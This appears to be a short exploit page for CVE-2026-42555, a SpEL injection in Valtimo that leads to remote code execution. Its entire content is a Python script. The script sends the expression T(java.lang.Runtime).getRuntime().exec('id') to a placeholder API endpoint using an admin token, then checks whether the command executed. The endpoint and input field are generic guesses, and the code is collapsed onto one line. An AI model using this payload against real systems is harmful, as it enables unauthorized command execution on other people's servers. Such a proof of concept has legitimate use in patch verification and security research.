CVE-2026-42555 Valtimo SpEL注入致远程代码执行漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-valtimo-instance/api/vulnerable_endpoint" # Malicious SpEL payload to execute 'id' command on Linux server # StandardEvaluationContext allows access to java.lang.Runtime spel_payload = "T(java.lang.Runtime).getRuntime().exec('id')" # Example payload structure based on common SpEL injection points payload_data = { "inputField": spel_payload } # Authentication is required (ADMIN role) headers = { "Authorization": "Bearer <ADMIN_ACCESS_TOKEN>", "Content-Type": "application/json" } try: # Sending the malicious request response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check server for command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")